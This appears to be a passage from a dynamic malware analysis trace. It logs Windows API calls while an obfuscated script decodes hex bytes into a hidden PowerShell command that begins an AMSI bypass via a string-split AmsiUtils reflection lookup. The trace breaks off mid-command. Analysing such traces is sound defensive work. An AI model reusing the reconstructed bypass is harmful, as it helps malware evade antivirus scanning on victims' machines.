bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.114] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.114] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.114] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.114] VarBstrCat (in: bstrLeft="&H", bstrRight="52", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.114] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.114] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="R") returned 1 [0072.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr=")") returned 1 [0072.114] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s'", bstrRight=")", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.114] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.114] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.114] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0072.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0072.115] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s')", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.115] VarBstrCat (in: bstrLeft="&H", bstrRight="8E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.115] VarParseNumFromStr (in: strIn="&H8E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.115] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ž") returned 1 [0072.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ž", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8e£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="G") returned 1 [0072.115] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').", bstrRight="G", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.115] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.115] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.115] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.115] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').G", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.115] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.115] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.115] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0072.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.116] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').Ge", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.116] VarBstrCat (in: bstrLeft="&H", bstrRight="8C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.116] VarParseNumFromStr (in: strIn="&H8C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.116] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1 [0072.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Œ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8c£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="F") returned 1 [0072.116] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').Get", bstrRight="F", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.116] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.116] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.116] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0072.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0072.116] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetF", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.116] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.116] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.116] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.117] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetFi", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.117] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.117] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.117] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0072.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0072.117] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetFie", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.117] VarBstrCat (in: bstrLeft="&H", bstrRight="C8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.117] VarParseNumFromStr (in: strIn="&HC8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.117] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="È") returned 1 [0072.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="È", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="È£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0072.117] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetFiel", bstrRight="d", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.117] VarBstrCat (in: bstrLeft="&H", bstrRight="50", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.117] VarParseNumFromStr (in: strIn="&H50", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.117] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0072.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0072.117] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField", bstrRight="(", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.117] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.118] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.118] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.118] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField(", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.118] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.118] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.118] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0072.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0072.118] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.118] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.118] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.118] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.118] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.118] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.118] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.118] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.119] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.119] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.119] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.119] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: 